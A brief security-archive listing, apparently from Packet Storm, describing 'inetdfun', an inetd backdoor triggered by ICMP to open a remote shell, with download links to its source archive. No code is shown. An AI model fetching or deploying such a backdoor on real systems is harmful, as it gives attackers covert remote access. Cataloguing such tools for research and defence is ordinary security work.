Inetdfun is a public version of an inetd backdoor which uses ICMP to trigger a remote shell. Includes readme and source diff.
You can download it from the following link: https://packetstormsecurity.com/files/download/23563/inetdfun.tar.gz
Source: https://packetstormsecurity.com/files/23563/inetdfun.tar.gz.html